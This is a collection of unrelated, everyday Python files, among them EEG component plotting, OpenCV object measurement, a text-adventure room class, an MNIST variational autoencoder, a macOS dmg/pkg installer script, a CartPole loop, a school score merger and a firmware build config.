from pathlib import Path
import numpy as np
from matplotlib import pyplot as plt
import matplotlib.gridspec as gridspec
import matplotlib.transforms as mtransforms
from scipy.signal import savgol_filter
from mne import read_evokeds
from mne.viz import plot_topomap

root = Path(__file__).parent.parent.parent.absolute()

fig = plt.figure(figsize=(8, 4))
gs = gridspec.GridSpec(4, 8)
ax = {}
ax["A"] = plt.subplot(gs[1:3, :2])
ax["B"] = plt.subplot(gs[:2, 2:4])
ax["E"] = plt.subplot(gs[2:, 2:4])
ax["C"] = plt.subplot(gs[:2, 4:6])
ax["F"] = plt.subplot(gs[2:, 4:6], sharey=ax["E"])
ax["D"] = plt.subplot(gs[:2, 6:])
ax["G"] = plt.subplot(gs[2:, 6:], sharey=ax["E"])
plt.subplots_adjust(hspace=0.3)
csd = read_evokeds(root / "results" / "group_csd-ave.fif")
X = csd[-1].data
X -= X.mean(axis=1, keepdims=True)  # subtract each channels mean
cov = (X @ X.T) / (X.shape[1] - 1)

eig_vals, eig_vecs = np.linalg.eig(cov)
# scale eigenvalues to percent variance explained
eig_vals = (eig_vals / eig_vals.sum()) * 100
ax["A"].plot(eig_vals, color="black", linewidth=1.5)
ax["A"].set(ylabel="Variance explained [%]", xlabel="Component", xlim=(0, 20))

labels = ["B", "C", "D", "E", "F", "G"]
for i in range(3):
    plot_topomap(eig_vecs[:, i], csd[0].info, show=False, axes=ax[labels[i]])
    for j in range(4):
        X = csd[j].data
        stc = X.T @ (eig_vecs[:, i] * eig_vals[i])
        stc = savgol_filter(stc, 50, 8)
        ax[labels[i + 3]].plot(csd[0].times - 1.0, stc, label=csd[j].comment)
        ax[labels[i + 3]].set(yticks=[])
        ax[labels[i + 3]].set_title(
            f"PC{i+1}: {eig_vals[i].round(1)}%", fontsize="medium"
        )
ax["F"].set_xlabel("Time [s]")
ax["F"].legend(loc="lower right", fontsize="xx-small")
ax["G"].set_ylabel("Amplitude [a.u.]")
ax["G"].yaxis.set_label_position("right")

for label in ax.keys():
    trans = mtransforms.ScaledTranslation(10 / 72, -5 / 72, fig.dpi_scale_trans)
    ax[label].text(
        0.0,
        1.0,
        label,
        transform=ax[label].transAxes + trans,
        fontsize=10,
        weight="bold",
        verticalalignment="top",
        fontfamily="serif",
    )

plt.savefig(root / "results" / "plots" / "components.png", dpi=300, bbox_inches="tight")


import numpy as np
import imutils
from imutils import contours
import cv2
from scipy.spatial import distance as dist
from imutils import perspective
import random

# Specified colors to draw the distances along with the reference object.
colors = ((0, 0, 255), (240, 0, 159), (0, 165, 255), (255, 255, 0), (255, 0, 255))

def midpoint(ptA, ptB):
    return(((ptA[0] + ptB[0])/2), ((ptA[1] + ptB[1])/2))

def preprocess_image(image, show=True):
    print("[INFO] Pre-processing the image.")

    # Convert the image to grayscale, and blur it slightly.
    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    gray = cv2.GaussianBlur(gray, (7, 7), 0)

    # Thresholding.
    thresh_1 = cv2.threshold(gray, 150, 200, cv2.THRESH_BINARY_INV)[1]
    thresh_2 = cv2.threshold(gray, 35, 255, cv2.THRESH_BINARY_INV)[1]

    sigma=0.8
    v = np.median(image)
    lower = int(max(0, (1.0 - sigma) * v))
    upper = int(min(255, (1.0 + sigma) * v))

    # Process for image type 1.
    img_1 = cv2.Canny(gray, lower, upper)                        # Edge Detection
    img_1 = cv2.dilate(img_1, None, iterations=1)               # Dialation
    img_1 = cv2.erode(img_1, None, iterations=1)                # Erosion

    # Process for image type 2.
    img_2 = cv2.Canny(thresh_2, lower, upper)                        # Edge Detection
    img_2 = cv2.dilate(img_2, None, iterations=1)               # Dialation
    img_2 = cv2.erode(img_2, None, iterations=1)                # Erosion

    # Show the preprocess image if log == True.
    if show:
        log_image = np.concatenate((cv2.cvtColor(img_1, cv2.COLOR_GRAY2BGR),\
            cv2.cvtColor(img_2, cv2.COLOR_GRAY2BGR)), axis=1)
        cv2.imshow("image", log_image)
        cv2.waitKey(0)

    return [img_1, img_2]

def get_contour_precedence(contour, cols):
    tolerance_factor = 10
    origin = cv2.boundingRect(contour)
    return ((origin[1] // tolerance_factor) * tolerance_factor) * cols + origin[0]

def get_contours_from_image(image):
    print("[INFO] Finding contours.")
    # Find contours in image.
    cnts = cv2.findContours(image.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
    cnts = imutils.grab_contours(cnts)

    # Sort the contours from top-to-bottom.
    # cnts.sort(key=lambda x:get_contour_precedence(x, image.shape[1]))
    # (cnts, _) = contours.sort_contours(cnts, method="top-to-bottom")
    # sorted(cnts, key=lambda ctr: cv2.boundingRect(ctr)[1])
    return list(cnts)

def get_features(image, pixelsPerMetric, min_size=500, show=True):
    # Initialize an array to store the features of the object.
    features = []

    # Preprocess the input image.
    reference_image, features_image = preprocess_image(image, show=True)

    # Get the reference object contour
    reference_contour = max(get_contours_from_image(reference_image), key=cv2.contourArea)

    # Find contours in the features image.
    feature_contours = get_contours_from_image(features_image)

    # Copy the background image.
    display_image = image.copy()

    # Loop over the feature contours individually.
    for (i, contour) in enumerate([reference_contour] + feature_contours):
        # Analyze contour and extract its features.
        if i > 0:
            feature = analyze_contour(contour, pixelsPerMetric, features[0])
        else:
            feature = analyze_contour(contour, pixelsPerMetric)

        # If the contour is not sufficiently large, ignore it.
        if feature['area'] < min_size:
            continue

        # Show contours info over the background image.
        if i > 0:
            display_image = draw_feature(display_image, feature, features[0])
        else:
            display_image = draw_feature(display_image, feature)

        features.append(feature)

        if show:
            # Show the output image.
            cv2.imshow("image", display_image)
            cv2.waitKey(0)

    return features, display_image

def analyze_contour(contour, pixelsPerMetric=None, reference_feature=None, calibrate=False):
    # Object containing the features of the contour.
    feature = dict()

    # Compute the area of the contour.
    area = cv2.contourArea(contour)

    # Compute the rotated bounding box of the contour.
    box = cv2.minAreaRect(contour)
    box = cv2.cv.BoxPoints(box) if imutils.is_cv2() else cv2.boxPoints(box)
    box = np.array(box, dtype="float")

    # Order the points in the contour such that they appear
    # in top-left, top-right, bottom-right, and bottom-left
    # order.
    box = perspective.order_points(box)

    # Compute the center of the bounding box.
    cX = float(np.average(box[:, 0]))
    cY = float(np.average(box[:, 1]))

    # Unpack the ordered bounding box, then compute the midpoint
    # between the top-left and top-right coordinates, followed by
    # the midpoint between bottom-left and bottom-right coordinates.
    (tl, tr, br, bl) = box
    (tltrX, tltrY) = midpoint(tl, tr)
    (blbrX, blbrY) = midpoint(bl, br)

    # Compute the midpoint between the top-left and bottom-left points,
    # followed by the midpoint between the top-right and bottom-right
    (tlblX, tlblY) = midpoint(tl, bl)
    (trbrX, trbrY) = midpoint(tr, br)

    # Compute the Euclidean distance between the midpoints
    dA = dist.euclidean((tltrX, tltrY), (blbrX, blbrY))
    dB = dist.euclidean((tlblX, tlblY), (trbrX, trbrY))

    # Calibrate argument check.
    if calibrate:
        return dB

    # Ensure that pixel-per-metric value is supplied.
    assert pixelsPerMetric != None, "Pixel per metric value not supplied."

    # Compute the dimensions of the object.
    height = dA / pixelsPerMetric
    width = dB / pixelsPerMetric

    # Adding values to the feature dictionary.
    feature['contour'] = contour.tolist()
    feature['box'] = box.tolist()
    feature['area'] = area
    feature['center'] = (cX, cY)
    feature['dimensions'] = (height, width)
    feature['midpoints'] = [(tltrX, tltrY), (blbrX, blbrY), (tlblX, tlblY), (trbrX, trbrY)]

    if reference_feature != None:
        feature['reference_distance'] = analyze_feature_reference_gap(feature, reference_feature, pixelsPerMetric)

    return feature

def analyze_feature_reference_gap(current_feature, reference_feature, pixelsPerMetric):
    # Stack the current feature coordinates and the reference feature coordinates
	# to include the feature's center.
    currentFeatureCoords = np.vstack([current_feature['box'], current_feature['center']])
    referenceFeatureCoords = np.vstack([reference_feature['box'], reference_feature['center']])

    # Array to store distances between the various edges & center of the two features.
    distances = []

    # Loop over the original points.
    for ((xA, yA), (xB, yB), color) in zip(referenceFeatureCoords, currentFeatureCoords, colors):
		# Compute the Euclidean distance between the coordinates,
		# and then convert the distance in pixels to distance in
		# units.
        D = dist.euclidean((xA, yA), (xB, yB)) / pixelsPerMetric
        distances.append(D)

    return distances

def compare_features(feature_1, feature_2):
    feature_diff_array = []

    for i in range(len(feature_1)):
        feature_diff = dict()
        feature_diff['dimensions'] = abs(np.array(feature_1[i]['dimensions']) - np.array(feature_2[i]['dimensions'][0]))
        feature_diff['area'] = abs(feature_1[i]['area'] - feature_2[i]['area'])
        feature_diff['center'] = abs(np.array(feature_1[i]['center']) - np.array(feature_2[i]['center']))

        if i > 0:
            feature_diff['reference_distance'] = abs(np.array(feature_1[i]['reference_distance']) -\
                np.array(feature_2[i]['reference_distance']))

        feature_diff_array.append(feature_diff)

    return feature_diff_array

def draw_feature(image, current_feature, reference_feature=None):
    # Loop over the original points and draw them.
    for (x, y) in current_feature['box']:
        cv2.circle(image, (int(x), int(y)), 5, (0, 0, 255), -1)

    # Draw the original contour.
    cv2.drawContours(image, np.array(current_feature['contour']), -1, (255, 255, 255), 3)

    # Draw the outline of the rotated bounding box.
    cv2.drawContours(image, [np.array(current_feature['box']).astype("int")], -1, (255, 150, 100), 2)

    # Get midpoints.
    (tltrX, tltrY), (blbrX, blbrY), (tlblX, tlblY), (trbrX, trbrY) = current_feature['midpoints']

    # Draw the midpoints on the image.
    cv2.circle(image, (int(tltrX), int(tltrY)), 5, (255, 0, 0), -1)
    cv2.circle(image, (int(blbrX), int(blbrY)), 5, (255, 0, 0), -1)
    cv2.circle(image, (int(tlblX), int(tlblY)), 5, (255, 0, 0), -1)
    cv2.circle(image, (int(trbrX), int(trbrY)), 5, (255, 0, 0), -1)

    # Draw lines between the midpoints.
    cv2.line(image, (int(tltrX), int(tltrY)), (int(blbrX), int(blbrY)), (255, 0, 255), 2)
    cv2.line(image, (int(tlblX), int(tlblY)), (int(trbrX), int(trbrY)), (255, 0, 255), 2)

    # Object dimensions.
    dimA, dimB = current_feature['dimensions']

    # Draw contour & info on the image.
    cv2.putText(image, "{:.1f}mm".format(dimA),
        (int(blbrX + 15), int(blbrY)), cv2.FONT_HERSHEY_SIMPLEX,
        1, (255, 255, 255), 2)
    cv2.putText(image, "{:.1f}mm".format(dimB),
        (int(trbrX + 10), int(trbrY)), cv2.FONT_HERSHEY_SIMPLEX,
        1, (255, 255, 255), 2)
    cv2.putText(image, "Area: {}".format(current_feature['area']),
        (int(tlblX - 75), int(tlblY + 75)), cv2.FONT_HERSHEY_SIMPLEX,
        1, (255, 255, 255), 2)

    if reference_feature != None:
        # Stack the current feature coordinates and the reference feature coordinates
        # to include the feature's center.
        currentFeatureCoords = np.vstack([current_feature['box'], current_feature['center']])
        referenceFeatureCoords = np.vstack([reference_feature['box'], reference_feature['center']])

        # loop over the original points
        for ((xA, yA), (xB, yB), D, color) in zip(referenceFeatureCoords, currentFeatureCoords,\
            current_feature['reference_distance'], colors):
            # draw circles corresponding to the current points and
            # connect them with a line
            cv2.circle(image, (int(xA), int(yA)), 5, color, -1)
            cv2.circle(image, (int(xB), int(yB)), 5, color, -1)
            cv2.line(image, (int(xA), int(yA)), (int(xB), int(yB)),
                color, 2)

            (mX, mY) = midpoint((xA, yA), (xB, yB))
            cv2.putText(image, "{:.1f}mm".format(D), (int(mX), int(mY - 10)),
                cv2.FONT_HERSHEY_SIMPLEX, 0.55, color, 2)

    return image


from Commands import Commands
from Player import Player
from Rooms import Room
from Items import Items

class Basement(Room):

    items =[]

    def __init__(self,name):
        self.name = name
        #self.link_previous =link_previous

    def show_info(self):
        print("This is the basement, it is dark in here! This is your starting position! There is a door use it to exit the basement!")
        print("The following items are scattered all over the basement: ")
        for item in self.items:
            print(item.get_name())

    def add_items(self):

        item1 = Items('Machete','This is a big and sharp machete you can use it to free yourself')
        item2  = Items('Basementkey','This is a key use it to open the door')
        item3 = Items('Lighter','This is a lighter use it to see where you are')
        item4 = Items('Axe','This is an axe use it to cut and break things')

        self.items.append(item1)
        self.items.append(item2)
        self.items.append(item3)
        self.items.append(item4)

    def has_door(self):
        return True

    def has_ligher(self):
        lighter =''
        for i in Player.inventory.collection_of_items:
            if i.name=='Lighter':
                lighter = i
                break

        if Player.inventory.check_if_has_item(lighter):
            return True

        print('You can not proceed, because it is too dark! Find something to help you see in the dark')
        return False

    def open_door(self):
        keyItem =''
        for i in Player.inventory.collection_of_items:
            if i.name=='Basementkey':
                keyItem = i
                break

        if Player.inventory.check_if_has_item(keyItem):
            return True

        print('Cannot open the Basement door you dont have the neccesary key')
        return False

    def all_passed(self):
        if self.has_door() and self.open_door() and self.has_ligher():
            return True
        return False


'''
0008/0025
一个HTML文件
找出里面的正文
'''
from bs4 import BeautifulSoup
import requests

def search_body(path):
    page = requests.get(path)
    page.encoding = 'utf-8'
    soup = BeautifulSoup(str(page.text), 'html.parser')
    article = soup.find_all('body')
    print(article)

if __name__ == "__main__":
    Path = 'https://www.runoob.com/python/python-tutorial.html'
    search_body(Path)


# TensorFlow2.0 VAE Implementation
# Large amount of credit goes to:
# https://github.com/ChengBinJin/VAE-Tensorflow
# https://github.com/keras-team/keras/blob/master/examples/variational_autoencoder.py
# https://github.com/ShengjiaZhao/MMD-Variational-Autoencoder/blob/master/mmd_vae.py
# which I've used as a reference for this implementation

import tensorflow as tf
from tensorflow.keras import layers
from tensorflow.keras import Model
import numpy as np
import matplotlib.pyplot as plt
import time

# ------------------ #
#  Basic Parameters  #
# ------------------ #

ImgW, ImgH = 28, 28

BufferSize = 60000
BatchSize = 100

LatentDim = 2

Seed = np.random.randint(0, high=BufferSize, size=4)

# ----------- #
#  Load Data  #
# ----------- #

(train_images, train_labels), (_, _) = tf.keras.datasets.mnist.load_data()

noise_images = train_images + 128 * np.random.randn(*train_images.shape)
noise_images = np.clip(noise_images, 0., 255.)

# ------------ #
#  Preprocess  #
# ------------ #

def preprocess_data(train_images):

    copy_images = np.array(train_images)

    copy_images = train_images.reshape(train_images.shape[0], ImgW, ImgH, 1).astype('float32')

    # Normalizing the images to the range of [0., 1.]
    copy_images /= 255.

    # Binarization
    copy_images[copy_images >= .5] = 1.
    copy_images[copy_images < .5] = 0.

    # Create tf Dataset
    copy_dataset = tf.data.Dataset.from_tensor_slices(copy_images).shuffle(BufferSize).batch(BatchSize)

    return copy_images, copy_dataset

train_images, train_dataset = preprocess_data(train_images)
noise_images, noise_dataset = preprocess_data(noise_images)

plt.imshow(np.array(noise_images[0]).reshape((ImgW, ImgH)), cmap=plt.cm.gray)
plt.colorbar()

plt.imshow(np.array(train_images[0]).reshape(ImgW, ImgH), cmap=plt.cm.gray)
plt.colorbar()

# ------------- #
#  Build Model  #
# ------------- #

def build_encoder(latent_dim):

    i = layers.Input(shape=(ImgW, ImgH, 1))
    d = layers.Dense(1)(i)

    # Not able to connect Input with Conv2D, why?
    x = layers.Conv2D(64,(3, 3), padding='valid',activation='relu')(d)
    x = layers.Conv2D(64,(3, 3), padding='valid',activation='relu')(x)
    x = layers.MaxPooling2D((2, 2))(x)
    x = layers.Conv2D(32,(3, 3), padding='valid',activation='relu')(x)
    x = layers.MaxPooling2D((2, 2))(x)

    x = layers.Flatten()(x)

    z = layers.Dense(latent_dim)(x)

    return Model(i, z, name='encoder')

def build_decoder(latent_dim):

    z = layers.Input(shape=latent_dim)

    x = layers.Reshape([1,1,latent_dim])(z)

    x = layers.Conv2DTranspose(128,(1, 1), padding='valid',activation='relu')(x)
    x = layers.Conv2DTranspose(64,(3, 3), padding='valid',activation='relu')(x)
    x = layers.Conv2DTranspose(64,(3, 3), padding='valid',activation='relu')(x)
    x = layers.Conv2DTranspose(48,(3, 3), strides=(2, 2),padding='same',activation='relu')(x)
    x = layers.Conv2DTranspose(48,(3, 3), padding='valid',activation='relu')(x)
    x = layers.Conv2DTranspose(32,(3, 3), strides=(2, 2),padding='same',activation='relu')(x)
    x = layers.Conv2DTranspose(16,(3, 3), padding='valid',activation='relu')(x)

    output = layers.Conv2DTranspose(1,(3, 3), padding='valid',activation='sigmoid')(x)

    return Model(z, output, name='decoder')

encoder = build_encoder(LatentDim)
decoder = build_decoder(LatentDim)

encoder(tf.random.normal([1, ImgW, ImgH, 1]))

_ = decoder(tf.random.normal([1, LatentDim]))
plt.imshow(np.array(_).reshape((ImgW, ImgH)), cmap=plt.cm.gray)
plt.colorbar()

# ------------- #
#  Define Loss  #
# ------------- #

def compute_kernel(x, y):
    x_size = tf.shape(x)[0]
    y_size = tf.shape(y)[0]
    dim = tf.shape(x)[1]
    tiled_x = tf.tile(tf.reshape(x, tf.stack([x_size, 1, dim])), tf.stack([1, y_size, 1]))
    tiled_y = tf.tile(tf.reshape(y, tf.stack([1, y_size, dim])), tf.stack([x_size, 1, 1]))
    return tf.exp(-tf.reduce_mean(tf.square(tiled_x - tiled_y), axis=2) / tf.cast(dim, tf.float32))

def compute_mmd(x, y):
    x_kernel = compute_kernel(x, x)
    y_kernel = compute_kernel(y, y)
    xy_kernel = compute_kernel(x, y)
    return tf.reduce_mean(x_kernel) + tf.reduce_mean(y_kernel) - 2 * tf.reduce_mean(xy_kernel)

def cal_m_loss(z):
    assert z.shape[0] == BatchSize
    assert z.shape[1] == LatentDim
    true_samples = tf.random.normal(tf.shape(z), dtype=tf.float32)
    loss_mmd = compute_mmd(true_samples, z)
    return loss_mmd

def cal_r_loss(img_input, img_output):
    # Because we have applied 'sigmoid' to our img_output in neural network
    # Therefore, 'from_logits' has to be set as False, which means img_output is not a raw probability
    cross_entropy = tf.keras.losses.BinaryCrossentropy(from_logits=False)
    return cross_entropy(img_input, img_output)

# ------------------ #
#  Define Optimizer  #
# ------------------ #

optimizer = tf.keras.optimizers.Adam(1e-4)

# ------------ #
#  Train Step  #
# ------------ #

@tf.function
def train_step(img_input):

    # Tune the reconstruction level??
    r_to_m_loss_ratio = 0.1

    with tf.GradientTape() as tape:
        z = encoder(img_input)

        img_output = decoder(z)

        loss = cal_r_loss(img_input, img_output) * ImgW * ImgH * r_to_m_loss_ratio + cal_m_loss(z)

    vae_param = encoder.trainable_variables + decoder.trainable_variables

    gradients_of_vae = tape.gradient(loss, vae_param)
    optimizer.apply_gradients(zip(gradients_of_vae, vae_param))

def latent_map(images, labels):

    for i in range(10):
        z = encoder(images[labels == i], training=False)

        z_distribution = [[], []]
        for j in np.array(z):
            z_distribution[0].append(j[0])
            z_distribution[1].append(j[1])

        plt.scatter(z_distribution[0], z_distribution[1], alpha=0.8, label=i)

    plt.legend()

    return plt.gcf()

def sample_save_img(seed, images, epoch, use_VAE=False):

    # Please create a dir './train_record'
    record_dir_path = './train_record'

    # Probe the decoder progress
    fig, axes = plt.subplots(2, 2)

    for i, ax in zip(seed, axes.flatten()):

        if use_VAE:
            z = encoder(images[i].reshape(1, ImgW, ImgH, 1))
            sample = decoder(z)

        else:
            sample = images[i]

        im = ax.imshow(np.array(sample).reshape(ImgW, ImgH), cmap=plt.cm.gray)

    fig.colorbar(im, ax=axes.ravel().tolist())

    if use_VAE:
        plt.savefig('{}/image_at_epoch_{:04d}.png'.format(record_dir_path, epoch + 1))
    else:
        plt.savefig('{}/ground_truth.png'.format(record_dir_path))
    plt.close()

    if use_VAE:
        # Probe the encoder progress
        _ = latent_map(images[:1000], train_labels[:1000])

        plt.savefig('{}/distri_at_epoch_{:04d}.png'.format(record_dir_path, epoch + 1))
        plt.close()

def train(images, dataset, epochs):

    train_start = time.time()

    for epoch in range(epochs):

        epoch_start = time.time()

        for batch in dataset:
            train_step(batch)

        if (epoch + 1) % 2 == 0:
            sample_save_img(Seed, images, epoch, use_VAE=True)
            print ('Time for epoch {} is {:.2f} sec'.format(epoch + 1, time.time()-epoch_start))

    # Generate after the final epoch
    sample_save_img(Seed, images, epoch)
    print('='*30)
    print ('Time for train {} epochs is {:.2f} sec'.format(epoch + 1, time.time()-train_start))

# ---------------- #
#  Start Training  #
# ---------------- #

Epochs = 30
train(noise_images, noise_dataset, Epochs)

# -----------------------------------------#
#  Training Record                         #
#                                          #
#  Time for epoch 2 is 6.78 sec            #
#  Time for epoch 4 is 6.07 sec            #
#  Time for epoch 6 is 5.95 sec            #
#  Time for epoch 8 is 6.01 sec            #
#  Time for epoch 10 is 5.96 sec           #
#  Time for epoch 12 is 6.19 sec           #
#  Time for epoch 14 is 5.99 sec           #
#  Time for epoch 16 is 6.16 sec           #
#  Time for epoch 18 is 6.11 sec           #
#  Time for epoch 20 is 6.00 sec           #
#  Time for epoch 22 is 6.02 sec           #
#  Time for epoch 24 is 6.00 sec           #
#  Time for epoch 26 is 6.26 sec           #
#  Time for epoch 28 is 6.12 sec           #
#  Time for epoch 30 is 5.95 sec           #
#  ==============================          #
#  Time for train 30 epochs is 178.98 sec  #
# ---------------------------------------- #

def image_map(x_min, x_max, y_min, y_max, x_dim=0, y_dim=1):

    record_dir_path = './train_record'

    fix_param = np.random.rand(LatentDim)

    fig, axes = plt.subplots(20, 20, figsize=(10, 10))
    fig.subplots_adjust(hspace=0, wspace=0)

    count = 0
    x_step = (x_max - x_min) / 20
    y_step = (y_max - y_min) / 20

    for i in np.arange(y_min, y_max, y_step):
        for j in np.arange(x_min, x_max, x_step):
            _ = list(fix_param)
            _[x_dim] = i
            _[y_dim] = j
            _ = decoder(np.array(_).reshape(1, LatentDim), training=False)
            axes.ravel()[count].imshow(np.array(_).reshape(ImgW, ImgH), cmap=plt.cm.gray)
            axes.ravel()[count].axis('off')
            axes.ravel()[count].axis('tight')
            count += 1

    fig.savefig(f'{record_dir_path}/image_map.png')

image_map(-1, 1, -1, 1)


from datetime import datetime

# def transDataFormat(datas={},keyname="",dateformat=""):
#     if (keyname in datas.keys()):
#         dt = datetime.fromtimestamp( int(datas[keyname]) / 1000 )
#         datas[keyname] = dt.strftime(dateformat )
#         print( datas[keyname] )

def transDataFormat(dateStr,dateformat=""):
        if(dateStr!=None and str(dateStr)!="0"):
                dt = datetime.fromtimestamp( int(dateStr) / 1000)
                return dt.strftime( dateformat )
        else:
                return ""
if __name__ == '__main__':
        transDataFormat(0,"%Y%m%d")


#!/usr/local/bin/python3
import os
import subprocess
import sys

# More number more newer
VERSION = "0.4.3"   # Yeah, it's just a random number

def printHelp():
    message = """
    dmginstall - universal dmg/pkg installer for MacOS
    Version: %s

    Usage:
    dmginstall [-d] /path/to/file
    dmginstall [-d] [-r] /path/to/directory

    Options:
    -r - installs recently modified file in given directory
    -h - prints this message
    -d - delete installed file

    --help - same as "-h"\n """%VERSION

    print(message)
    sys.exit()

def getCommandOutput(command):
    return subprocess.check_output(command, shell=True, universal_newlines=True)

def copyApp(cmd, path):
    os.system('%s -R "%s" /Applications'%(cmd, path))

def installDmg(pathToFile, cpCmd):
    pathToApp = ""

    # Best way I found so far to get volume name and block device
    searchForBlock = getCommandOutput('hdiutil attach "%s" | grep /Volumes'%pathToFile).split("\t")
    searchForBlock[len(searchForBlock)-1] = searchForBlock[len(searchForBlock)-1].translate({ord('\n'): None})

    for i in range(0, len(searchForBlock)):
        if "/Volumes/" in searchForBlock[i]:
            searchForBlock[i] = searchForBlock[i].translate({ord('\t'): None})
            pathToApp = pathToApp + searchForBlock[i] + " "
            for j in range(i+1, len(searchForBlock)):
                pathToApp = pathToApp + searchForBlock[j] + " "

    pathToApp = pathToApp[:-1]

    if getCommandOutput('find "%s" -iname "*.dmg"'%pathToApp) != '':
        pathToSecondDmg = getCommandOutput('find "%s" -iname "*.dmg"'%pathToApp)
        pathToSecondDmg = pathToSecondDmg[:-1]
        os.system('cp "%s" /tmp/working.dmg'%pathToSecondDmg)
        installDmg("/tmp/working.dmg", cpCmd)   # cp throwed some errors but it worked anyways. Didn't tested with vcp yet.
        os.system('rm -f /tmp/working.dmg')

    installFromArchive(pathToApp, cpCmd)
    os.system("hdiutil detach %s"%searchForBlock[0])

def installFromArchive(workingDir, cpCmd):
    if getCommandOutput('find "%s" -maxdepth 1 -iname "*.app"'%workingDir) != '':
        copyApp(cpCmd, getCommandOutput('find "%s" -maxdepth 1 -iname "*.app"'%workingDir)[:-1])

    elif getCommandOutput('find "%s" -maxdepth 1 -iname "*.pkg"'%workingDir) != '':
        os.system('sudo installer -pkg "%s" -target /'%(getCommandOutput('find "%s" -maxdepth 1 -iname "*.pkg"'%workingDir)[:-1]))

    elif getCommandOutput('find "%s" -maxdepth 1 -iname "*.dmg"'%workingDir) != '':
        installDmg(getCommandOutput('find "%s" -maxdepth 1 -iname "*.dmg"'%workingDir)[:-1], cpCmd)
        if getCommandOutput('find "%s" -maxdepth 2 -iname "*.app"'%workingDir) != '':
            copyApp(cpCmd, getCommandOutput('find "%s" -maxdepth 2 -iname "*.app"'%workingDir)[:-1])
        elif getCommandOutput('find "%s" -maxdepth 2 -iname "*.pkg"'%workingDir) != '':
            os.system('sudo installer -pkg "$(find "%s" -maxdepth 2 -iname "*.pkg")" -target /'%workingDir)

    else:
        sys.exit("No usable files found.")

##########################################################
# Main code, nicely separated from rest of the functions #
##########################################################
if __name__ == '__main__':
    fileLocation = ""
    dirLocation = ""
    tmpDir = "/tmp/dmginstall"
    args = sys.argv
    delete = False

    if "-h" in args or "--help" in args:
        printHelp()

    if "-d" in args:
        delete = True
        args.remove("-d")

    if "-r" in args:
        dirLocation = args[args.index("-r")+1]

        fileLocation = dirLocation + "/" + getCommandOutput('ls -Art "%s" | tail -n 1'%dirLocation).translate({ord('\n'): None})
        del args[args.index('-r')+1]
        args.remove('-r')
    else:
        for i in range(1, len(args)):
            fileLocation = fileLocation + sys.argv[i] + " "

        fileLocation = fileLocation[:-1]

    if getCommandOutput('which vcp') != '':
        cpCmd = "vcp"
    else:
        cpCmd = "cp"

    print(fileLocation)

    if ".zip" in fileLocation:
        os.system('mkdir "%s" && unzip "%s" -d "%s"'%(tmpDir, fileLocation, tmpDir))
        installFromArchive(tmpDir, cpCmd)
        os.system('rm -rf "%s"'%tmpDir)

    elif ".tgz" in fileLocation or "tar.gz" in fileLocation:
        os.system('mkdir "%s" && tar -xf "%s" -C "%s"'%(tmpDir, fileLocation, tmpDir))
        installFromArchive(tmpDir, cpCmd)
        os.system('rm -rf "%s"'%tmpDir)

    elif ".tbz" in fileLocation or "tar.bz2" in fileLocation:
        os.system('mkdir "%s" && tar -xjf "%s" -C "%s"'%(tmpDir, fileLocation, tmpDir))
        installFromArchive(tmpDir, cpCmd)
        os.system('rm -rf "%s"'%tmpDir)

    elif ".dmg" not in fileLocation:
        sys.exit("File type is not supported")

    else:
        installDmg(fileLocation, cpCmd)

    if delete == True:
        os.system('rm -rf "%s"'%fileLocation)


# import librarys

import gym
import random

env = gym.make('CartPole-v1')    # make an envirenment named 'Cartpole-v1' which has been defined in the library
goal_steps = 100

while True:
    obs = env.reset() # reset the status
    for i in range(goal_steps):
        obs, reward, done, info = env.step(random.randrange(0,2)) # set the random number which is the maximum numbers we can choose to make the bar uphold
        # obs: object current status, reward: reward according to the performance, done: bar is out of range or falled down
        if done:
            break # escape the while loop if done

        env.render() # render and display the environment


import pandas
from collections import namedtuple
from datetime import datetime
from math import floor
import heapq
import copy

def text_to_date(txt):
	return datetime.strptime(txt, "%Y-%m-%d %H:%M:%S")

files = [
	"csv_Hoche/score.csv",
	"csv_LLG/score.csv"
]

F_HOCHE = 0
F_LLG = 1

submissison_data = [pandas.read_csv(file) for file in files]
Data_point1 = namedtuple("Data_point1", "time points")
Data_point1bis = namedtuple("Data_point1", "time points lycee")

for i in range(0, 2):
    submissison_data[i] = [Data_point1(text_to_date(t.time), t.points) for t in submissison_data[i].itertuples()]

min_event_heap = []
for lycee in range(0, 2):
	for event in submissison_data[lycee]:
		heapq.heappush(min_event_heap, Data_point1bis(event.time, event.points, lycee))

Data_point2 = namedtuple('Data_point2', "time points_Hoche points_LLG")

# construct time_points_table
time_points_table = [Data_point2(text_to_date("2022-10-14 12:00:00"), 0, 0)]

while len(min_event_heap) > 0 :
	prev_point : Data_point2 = time_points_table[-1]
	next_data : Data_point1bis = heapq.heappop(min_event_heap)
	next_point = Data_point2(next_data.time, prev_point.points_Hoche, next_data.points) if next_data.lycee == F_LLG \
				 else Data_point2(next_data.time, next_data.points, prev_point.points_LLG)
	time_points_table.append(next_point)

series_time = [pnt.time for pnt in time_points_table]
series_Hoche = [pnt.points_Hoche for pnt in time_points_table]
series_LLG = [pnt.points_LLG for pnt in time_points_table]

data_frame = pandas.DataFrame({'time' : series_time, 'Hoche points': series_Hoche, 'LLG points' : series_LLG})

outfile = open('scores_llg_hoche.csv', 'w', encoding="utf-8")
outfile.write(data_frame.to_csv(index=False))

outfile.close()


import posixpath

# For more details on these options, run 'fbt -h'

# Default hardware target
TARGET_HW = 7

# Optimization flags
## Optimize for size
COMPACT = 0
## Optimize for debugging experience
DEBUG = 1

# Suffix to add to files when building distribution
# If OS environment has DIST_SUFFIX set, it will be used instead
DIST_SUFFIX = "local"

# Coprocessor firmware
COPRO_OB_DATA = "scripts/ob.data"

# Must match lib/STM32CubeWB version
COPRO_CUBE_VERSION = "1.13.3"

COPRO_CUBE_DIR = "lib/STM32CubeWB"

# Default radio stack
COPRO_STACK_BIN = "stm32wb5x_BLE_Stack_light_fw.bin"
# Firmware also supports "ble_full", but it might not fit into debug builds
COPRO_STACK_TYPE = "ble_light"

# Leave 0 to let scripts automatically calculate it
COPRO_STACK_ADDR = "0x0"

# If you override COPRO_CUBE_DIR on commandline, override this aswell
COPRO_STACK_BIN_DIR = posixpath.join(
    COPRO_CUBE_DIR,
    "Projects",
    "STM32WB_Copro_Wireless_Binaries",
    "STM32WB5x",
)

# Supported toolchain versions
FBT_TOOLCHAIN_VERSIONS = (" 10.3.",)

OPENOCD_OPTS = [
    "-f",
    "interface/stlink.cfg",
    "-c",
    "transport select hla_swd",
    "-f",
    "debug/stm32wbx.cfg",
    "-c",
    "stm32wbx.cpu configure -rtos auto",
    "-c",
    "init",
]

